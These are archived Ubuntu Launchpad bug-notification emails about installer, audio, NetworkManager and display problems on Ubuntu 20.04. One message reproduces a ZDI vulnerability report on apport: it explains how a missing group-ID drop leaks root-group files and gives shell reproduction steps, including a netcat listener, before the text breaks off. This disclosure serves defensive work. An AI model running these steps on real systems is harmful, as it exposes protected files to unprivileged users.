/plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxext/libxext6_1.3.4-0ubuntu1_i386.deb: "Version: '1.3.4-0ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/l/lm-sensors/libsensors5_3.6.0-2ubuntu1_i386.deb: "Version: '3.6.0-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libx11/libx11-xcb1_1.6.9-2ubuntu1_i386.deb: "Version: '1.6.9-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxdamage/libxdamage1_1.1.5-1_i386.deb: "Version: '1.1.5-1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxfixes/libxfixes3_5.0.3-1_i386.deb: "Version: '5.0.3-1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxxf86vm/libxxf86vm1_1.1.4-1build1_i386.deb: "Version: '1.1.4-1build1' not found." /plugininstall.py: Downloads verified successfully ubiquity: Error in function: install /plugininstall.py: Exception during installation: /plugininstall.py: apt_pkg.Error: E:Could not configure 'libc6:i386'. , E:Could not perform immediate configuration on 'libgcc-s1:i386'. Please see man 5 apt.conf under APT::Immediate-Configure for details. (2) /plugininstall.py: ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: ubiquity 20.04.9 ProcVersionSignature: Ubuntu 5.4.0-21.25-generic 5.4.27 Uname: Linux 5.4.0-21-generic x86_64 NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair ApportVersion: 2.20.11-0ubuntu22 Architecture: amd64 CasperVersion: 1.442 Date: Mon Apr 6 20:17:07 2020 InstallCmdLine: file=/cdrom/preseed/xubuntu.seed only-ubiquity initrd=/casper/initrd quiet splash --- LiveMediaBuild: Xubuntu 20.04 LTS "Focal Fossa" - Beta amd64 (20200402) ProcEnviron: LANGUAGE=es_EC.UTF-8 PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=es_EC.UTF-8 LC_NUMERIC=C.UTF-8 SourcePackage: ubiquity UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-cdimage/+bug/1871268/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1896098] Re: Lenovo P1G3 - unable to select system speakers when headset plugged into audio jack
@Chi-Wei, OK, got it, will investigate this issue. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1896098 Title: Lenovo P1G3 - unable to select system speakers when headset plugged into audio jack Status in pulseaudio package in Ubuntu: New Bug description: I suspect this is a pulseaudio or alsa bug. Our test team reported this: 1. Prepare Padme-3 machine and Install Ubuntu_20.04 OS . 2. Boot system. 3. Play audio or video file. 4. Open Settings > Sound. 5. Hot attach headset. 6. Notice that headset is selected as output device in sound settings and sound can be heard from headset => EXPECTED 7. While playback, select Internal Speaker as output device => KEYPOINT 9. Notice:SUT havo no sound from Internal Speakers => PROBLEM I was able to confirm this - it seems with the headphones connected that I can't select the system speakers. If I don't have headphones connected I can switch between dock audio and system speakers correctly - so it's just related to the audio jack Thanks Mark To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1896098/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1885633] Re: [ZDI-CAN-11233]: apport Unnecessary Privileges Information Disclosure Vulnerability
** Information type changed from Private Security to Public Security -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apport in Ubuntu. https://bugs.launchpad.net/bugs/1885633 Title: [ZDI-CAN-11233]: apport Unnecessary Privileges Information Disclosure Vulnerability Status in apport package in Ubuntu: Fix Released Status in apport source package in Xenial: Fix Released Status in apport source package in Bionic: Fix Released Status in apport source package in Eoan: Confirmed Status in apport source package in Focal: Fix Released Bug description: -- VULNERABILITY DETAILS * Version tested:18.04.4 LTS amd64 server * Installer file:ubuntu-18.04.4-live-server-amd64.iso * Platform tested:- --- ### Analysis Apport which is crash reporter in Ubuntu will execute gdbus to check if pid is in a closing user session. Before executing the binary, it drop privilege to crashed process's uid. But it doesn't drop group id, so it can be used to leak file which is owned by root group. It leads to anyone can read the file which can only be read by root group, but the file size must be 16bytes. reproduce step ``` ubuntu@ubuntu:/tmp$ echo -ne "SECURESECRETHERE" > securefile ubuntu@ubuntu:/tmp$ sudo chown root:root securefile ubuntu@ubuntu:/tmp$ sudo chmod 440 securefile ubuntu@ubuntu:/tmp$ su - zdi Password: zdi@ubuntu:~$ id uid=1001(zdi) gid=1001(zdi) groups=1001(zdi) zdi@ubuntu:~$ cd /tmp/ zdi@ubuntu:/tmp$ ls -al securefile -r--r- 1 root root 16 Jun 16 04:33 securefile zdi@ubuntu:/tmp$ cat securefile cat: securefile: Permission denied zdi@ubuntu:/tmp$ nc -lp &
[Touch-packages] [Bug 1891632] Re: The network manager does not check the NM_SETTING_WIRELESS_WAKE_ON_WLAN_IGNORE bit
** Description changed: [Impact] - In some cases, the wow is not configured and the + In some cases, the wow is not configured and the NM_SETTING_WIRELESS_WAKE_ON_WLAN_IGNORE is set (for to disable management of wake-on-LAN in NetworkManager). - The network manager only checks the NM_SETTING_WIRELESS_WAKE_ON_WLAN_NONE bit. - But, the NM_SETTING_WIRELESS_WAKE_ON_WLAN_IGNORE does not be check. - So, the management of wake-on-LAN still is done by NetworkManager. + The network manager only checks the NM_SETTING_WIRELESS_WAKE_ON_WLAN_NONE bit. + But, the NM_SETTING_WIRELESS_WAKE_ON_WLAN_IGNORE does not be check. + So, the management of wake-on-LAN still is done by NetworkManager. [Test Case] - On a machine with killer 500s Wi-Fi and install the Qualcomm's driver. - Step 1. Enter suspend (s2idle) - Setp 2. Resume from suspend + On a machine with killer 500s Wi-Fi and install the Qualcomm's driver. + Step 1. Enter suspend (s2idle) + Setp 2. Resume from suspend - After resume from suspend, the Wi-Fi functiall still is normal. + After resume from suspend, the Wi-Fi functiall still is normal. - You can download the kernel and linux-firmware that backport the Qucalcomm's dirver fro focal from below link: - https://launchpad.net/~vicamo/+archive/ubuntu/ppa-1879633 + You can download the kernel and linux-firmware that backport the Qucalcomm's dirver fro focal from below link: + https://launchpad.net/~vicamo/+archive/ubuntu/ppa-1879633 [Regression Potential] - * No potential regressions. + * When the NM_SETTING_WIRELESS_WAKE_ON_WLAN_IGNORE is set, the network + won't management the WOW forever. [Other Info] - - * None + + * None ** Description changed: [Impact] In some cases, the wow is not configured and the NM_SETTING_WIRELESS_WAKE_ON_WLAN_IGNORE is set (for to disable management of wake-on-LAN in NetworkManager). The network manager only checks the NM_SETTING_WIRELESS_WAKE_ON_WLAN_NONE bit. But, the NM_SETTING_WIRELESS_WAKE_ON_WLAN_IGNORE does not be check. So, the management of wake-on-LAN still is done by NetworkManager. [Test Case] On a machine with killer 500s Wi-Fi and install the Qualcomm's driver. Step 1. Enter suspend (s2idle) Setp 2. Resume from suspend After resume from suspend, the Wi-Fi functiall still is normal. You can download the kernel and linux-firmware that backport the Qucalcomm's dirver fro focal from below link: https://launchpad.net/~vicamo/+archive/ubuntu/ppa-1879633 [Regression Potential] * When the NM_SETTING_WIRELESS_WAKE_ON_WLAN_IGNORE is set, the network - won't management the WOW forever. + won't management the WOW function forever. The WOW function totally + depend on device driver. [Other Info] * None -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to network-manager in Ubuntu. https://bugs.launchpad.net/bugs/1891632 Title: The network manager does not check the NM_SETTING_WIRELESS_WAKE_ON_WLAN_IGNORE bit Status in OEM Priority Project: New Status in OEM Priority Project focal series: Invalid Status in network-manager package in Ubuntu: Fix Released Status in network-manager source package in Focal: Incomplete Bug description: [Impact] In some cases, the wow is not configured and the NM_SETTING_WIRELESS_WAKE_ON_WLAN_IGNORE is set (for to disable management of wake-on-LAN in NetworkManager). The network manager only checks the NM_SETTING_WIRELESS_WAKE_ON_WLAN_NONE bit. But, the NM_SETTING_WIRELESS_WAKE_ON_WLAN_IGNORE does not be check. So, the management of wake-on-LAN still is done by NetworkManager. [Test Case] On a machine with killer 500s Wi-Fi and install the Qualcomm's driver. Step 1. Enter suspend (s2idle) Setp 2. Resume from suspend After resume from suspend, the Wi-Fi functiall still is normal. You can download the kernel and linux-firmware that backport the Qucalcomm's dirver fro focal from below link: https://launchpad.net/~vicamo/+archive/ubuntu/ppa-1879633 [Regression Potential] * When the NM_SETTING_WIRELESS_WAKE_ON_WLAN_IGNORE is set, the network won't management the WOW function forever. The WOW function totally depend on device driver. [Other Info] * None To manage notifications about this bug go to: https://bugs.launchpad.net/oem-priority/+bug/1891632/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1897189] [NEW] External Monitor No Longer detected
You have been subscribed to a public bug: I noticed that a new kernel was available and booted into it today, after booting previous issues (display font size on login, and laptop touchpad/trackpoint not working) were resolved. However, my external monitor no longer displays in the settings, and can't appear to be used. I suspect the kernel update coincides with an nvidia driver update, but haven't looked into that yet. ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: xorg 1:7.7+19ubuntu14 ProcVersionSignature: Ubuntu 5.4.0-48.52-generic 5.4.60 Uname: Linux 5.4.0-48-generic x86_64 ApportVersion: 2.20.11-0ubuntu27.9 Architecture: amd64 BootLog: Error: [Errno 13] 許可がありません: '/var/log/boot.log' CasperMD5CheckResult: skip CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Fri Sep 25 09:29:55 2020 DistUpgraded: Fresh install DistroCodename: focal DistroVariant: ubuntu GraphicsCard: NVIDIA Corporation GP107M [GeForce GTX 1050 Ti Mobile] [10de:1c8c] (rev a1) (prog-if 00 [VGA controller]) Subsystem: Lenovo GP107M [GeForce GTX 1050 Ti Mobile] [17aa:2266] InstallationDate: Installed on 2020-09-08 (16 days ago) InstallationMedia: Ubuntu 20.04.1 LTS "Focal Fossa" - Release amd64 (20200731) MachineType: LENOVO 20MFCTO1WW ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=ja_JP.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.4.0-48-generic root=UUID=50c34368-0155-42cc-a9a9-5520bb25778a ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 07/08/2020 dmi.bios.vendor: LENOVO dmi.bios.version: N2EET49W (1.31 ) dmi.board.asset.tag: Not Available dmi.board.name: 20MFCTO1WW dmi.board.vendor: LENOVO dmi.board.version: Not Defined dmi.chassis.asset.tag: No Asset Information dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: None dmi.modalias: dmi:bvnLENOVO:bvrN2EET49W(1.31):bd07/08/2020:svnLENOVO:pn20MFCTO1WW:pvrThinkPadX1Extreme:rvnLENOVO:rn20MFCTO1WW:rvrNotDefined:cvnLENOVO:ct10:cvrNone: dmi.product.family: ThinkPad X1 Extreme dmi.product.name: 20MFCTO1WW dmi.product.sku: LENOVO_MT_20MF_BU_Think_FM_ThinkPad X1 Extreme dmi.product.version: ThinkPad X1 Extreme dmi.sys.vendor: LENOVO version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.101-2 version.libgl1-mesa-dri: libgl1-mesa-dri 20.0.8-0ubuntu1~20.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.xserver-xorg-core: xserver-xorg-core 2:1.20.8-2ubuntu2.4 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200226-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1 ** Affects: xorg (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug focal ubuntu -- External Monitor No Longer detected https://bugs.launchpad.net/bugs/1897189 You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1897189] Re: External Monitor No Longer detected
** Package changed: ubuntu => xorg (Ubuntu) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1897189 Title: External Monitor No Longer detected Status in xorg package in Ubuntu: New Bug description: I noticed that a new kernel was available and booted into it today, after booting previous issues (display font size on login, and laptop touchpad/trackpoint not working) were resolved. However, my external monitor no longer displays in the settings, and can't appear to be used. I suspect the kernel update coincides with an nvidia driver update, but haven't looked into that yet. ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: xorg 1:7.7+19ubuntu14 ProcVersionSignature: Ubuntu 5.4.0-48.52-generic 5.4.60 Uname: Linux 5.4.0-48-generic x86_64 ApportVersion: 2.20.11-0ubuntu27.9 Architecture: amd64 BootLog: Error: [Errno 13] 許可がありません: '/var/log/boot.log' CasperMD5CheckResult: skip CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Fri Sep 25 09:29:55 2020 DistUpgraded: Fresh install DistroCodename: focal DistroVariant: ubuntu GraphicsCard: NVIDIA Corporation GP107M [GeForce GTX 1050 Ti Mobile] [10de:1c8c] (rev a1) (prog-if 00 [VGA controller]) Subsystem: Lenovo GP107M [GeForce GTX 1050 Ti Mobile] [17aa:2266] InstallationDate: Installed on 2020-09-08 (16 days ago) InstallationMedia: Ubuntu 20.04.1 LTS "Focal Fossa" - Release amd64 (20200731) MachineType: LENOVO 20MFCTO1WW ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=ja_JP.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.4.0-48-generic root=UUID=50c34368-0155-42cc-a9a9-5520bb25778a ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 07/08/2020 dmi.bios.vendor: LENOVO dmi.bios.version: N2EET49W (1.31 ) dmi.board.asset.tag: Not Available dmi.board.name: 20MFCTO1WW dmi.board.vendor: LENOVO dmi.board.version: Not Defined dmi.chassis.asset.tag: No Asset Information dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: None dmi.modalias: dmi:bvnLENOVO:bvrN2EET49W(1.31):bd07/08/2020:svnLENOVO:pn20MFCTO1WW:pvrThinkPadX1Extreme:rvnLENOVO:rn20MFCTO1WW:rvrNotDefined:cvnLENOVO:ct10:cvrNone: dmi.product.family: ThinkPad X1 Extreme dmi.product.name: 20MFCTO1WW dmi.product.sku: LENOVO_MT_20MF_BU_Think_FM_ThinkPad X1 Extreme dmi.product.version: ThinkPad X1 Extreme dmi.sys.vendor: LENOVO version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.101-2 version.libgl1-mesa-dri: libgl1-mesa-dri 20.0.8-0ubuntu1~20.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.xserver-xorg-core: xserver-xorg-core 2:1.20.8-2ubuntu2.4 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200226-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1897189/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1871268] Re: Installation fails with Could not configure 'libc6:i386'. , E:Could not perform immediate configuration on 'libgcc-s1:i386'
Okay, this happened to me on Ubuntu 20.04.1 LTS. Then it happened to me on 20.04 LTS. This happened several times. What worked for me is unplugging my Ethernet cable and disconnecting my WiFi, and unchecking the "update the OS while installing" something option. Making sure that my computer was not on the internet before starting the installation process did the trick. Hope this helps someone. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/1871268 Title: Installation fails with Could not configure 'libc6:i386'. , E:Could not perform immediate configuration on 'libgcc-s1:i386' Status in Ubuntu CD Images: Fix Released Status in apt package in Ubuntu: Confirmed Status in glibc package in Ubuntu: Invalid Status in ubiquity package in Ubuntu: Invalid Status in apt source package in Bionic: Invalid Status in glibc source package in Bionic: Fix Released Status in ubiquity source package in Bionic: Invalid Status in apt source package in Focal: Confirmed Status in glibc source package in Focal: Invalid Status in ubiquity source package in Focal: Invalid Bug description: Test Case 1. Install Ubuntu Desktop on hardware with an nVidia card and select to install 3rd party drivers 2. Proceed with installation The following error message is displayed in /var/log/syslog /plugininstall.py: Verifying downloads ... /plugininstall.py: Failed to find package object for /cdrom//pool/main/g/gcc-defaults/gcc_9.3.0-1ubuntu2_amd64.deb: "Version: '9.3.0-1ubuntu2' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxcrypt/libcrypt-dev_4.4.10-10ubuntu4_amd64.deb: "Version: '4.4.10-10ubuntu4' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/g/gcc-defaults/g++_9.3.0-1ubuntu2_amd64.deb: "Version: '9.3.0-1ubuntu2' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/z/zlib/zlib1g_1.2.11.dfsg-2ubuntu1_i386.deb: "Version: '1.2.11.dfsg-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxau/libxau6_1.0.9-0ubuntu1_i386.deb: "Version: '1.0.9-0ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxdmcp/libxdmcp6_1.1.3-0ubuntu1_i386.deb: "Version: '1.1.3-0ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libx11/libx11-6_1.6.9-2ubuntu1_i386.deb: "Version: '1.6.9-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxext/libxext6_1.3.4-0ubuntu1_i386.deb: "Version: '1.3.4-0ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/l/lm-sensors/libsensors5_3.6.0-2ubuntu1_i386.deb: "Version: '3.6.0-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libx11/libx11-xcb1_1.6.9-2ubuntu1_i386.deb: "Version: '1.6.9-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxdamage/libxdamage1_1.1.5-1_i386.deb: "Version: '1.1.5-1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxfixes/libxfixes3_5.0.3-1_i386.deb: "Version: '5.0.3-1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxxf86vm/libxxf86vm1_1.1.4-1build1_i386.deb: "Version: '1.1.4-1build1' not found." /plugininstall.py: Downloads verified successfully ubiquity: Error in function: install /plugininstall.py: Exception during installation: /plugininstall.py: apt_pkg.Error: E:Could not configure 'libc6:i386'. , E:Could not perform immediate configuration on 'libgcc-s1:i386'. Please see man 5 apt.conf under APT::Immediate-Configure for details. (2) /plugininstall.py: ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: ubiquity 20.04.9 ProcVersionSignature: Ubuntu 5.4.0-21.25-generic 5.4.27 Uname: Linux 5.4.0-21-generic x86_64 NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair ApportVersion: 2.20.11-0ubuntu22 Architecture: amd64 CasperVersion: 1.442 Date: Mon Apr 6 20:17:07 2020 InstallCmdLine: file=/cdrom/preseed/xubuntu.seed only-ubiquity initrd=/casper/initrd quiet splash --- LiveMediaBuild: Xubuntu 20.04 LTS "Focal Fossa" - Beta amd64 (20200402) ProcEnviron: LANGUAGE=es_EC.UTF-8 PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=es_EC.UTF-8 LC_NUMERIC=C.UTF-8 SourcePackage: ubiquity UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-cdimage/+bug/1871268/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : ht
[Touch-packages] [Bug 1871268] Re: Installation fails with Could not configure 'libc6:i386'. , E:Could not perform immediate configuration on 'libgcc-s1:i386'
** Changed in: ubuntu-cdimage Assignee: (unassigned) => Hoa (thuythumattroi1999) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/1871268 Title: Installation fails with Could not configure 'libc6:i386'. , E:Could not perform immediate configuration on 'libgcc-s1:i386' Status in Ubuntu CD Images: Fix Released Status in apt package in Ubuntu: Confirmed Status in glibc package in Ubuntu: Invalid Status in ubiquity package in Ubuntu: Invalid Status in apt source package in Bionic: Invalid Status in glibc source package in Bionic: Fix Released Status in ubiquity source package in Bionic: Invalid Status in apt source package in Focal: Confirmed Status in glibc source package in Focal: Invalid Status in ubiquity source package in Focal: Invalid Bug description: Test Case 1. Install Ubuntu Desktop on hardware with an nVidia card and select to install 3rd party drivers 2. Proceed with installation The following error message is displayed in /var/log/syslog /plugininstall.py: Verifying downloads ... /plugininstall.py: Failed to find package object for /cdrom//pool/main/g/gcc-defaults/gcc_9.3.0-1ubuntu2_amd64.deb: "Version: '9.3.0-1ubuntu2' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxcrypt/libcrypt-dev_4.4.10-10ubuntu4_amd64.deb: "Version: '4.4.10-10ubuntu4' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/g/gcc-defaults/g++_9.3.0-1ubuntu2_amd64.deb: "Version: '9.3.0-1ubuntu2' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/z/zlib/zlib1g_1.2.11.dfsg-2ubuntu1_i386.deb: "Version: '1.2.11.dfsg-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxau/libxau6_1.0.9-0ubuntu1_i386.deb: "Version: '1.0.9-0ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxdmcp/libxdmcp6_1.1.3-0ubuntu1_i386.deb: "Version: '1.1.3-0ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libx11/libx11-6_1.6.9-2ubuntu1_i386.deb: "Version: '1.6.9-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxext/libxext6_1.3.4-0ubuntu1_i386.deb: "Version: '1.3.4-0ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/l/lm-sensors/libsensors5_3.6.0-2ubuntu1_i386.deb: "Version: '3.6.0-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libx11/libx11-xcb1_1.6.9-2ubuntu1_i386.deb: "Version: '1.6.9-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxdamage/libxdamage1_1.1.5-1_i386.deb: "Version: '1.1.5-1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxfixes/libxfixes3_5.0.3-1_i386.deb: "Version: '5.0.3-1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxxf86vm/libxxf86vm1_1.1.4-1build1_i386.deb: "Version: '1.1.4-1build1' not found." /plugininstall.py: Downloads verified successfully ubiquity: Error in function: install /plugininstall.py: Exception during installation: /plugininstall.py: apt_pkg.Error: E:Could not configure 'libc6:i386'. , E:Could not perform immediate configuration on 'libgcc-s1:i386'. Please see man 5 apt.conf under APT::Immediate-Configure for details. (2) /plugininstall.py: ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: ubiquity 20.04.9 ProcVersionSignature: Ubuntu 5.4.0-21.25-generic 5.4.27 Uname: Linux 5.4.0-21-generic x86_64 NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair ApportVersion: 2.20.11-0ubuntu22 Architecture: amd64 CasperVersion: 1.442 Date: Mon Apr 6 20:17:07 2020 InstallCmdLine: file=/cdrom/preseed/xubuntu.seed only-ubiquity initrd=/casper/initrd quiet splash --- LiveMediaBuild: Xubuntu 20.04 LTS "Focal Fossa" - Beta amd64 (20200402) ProcEnviron: LANGUAGE=es_EC.UTF-8 PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=es_EC.UTF-8 LC_NUMERIC=C.UTF-8 SourcePackage: ubiquity UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-cdimage/+bug/1871268/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
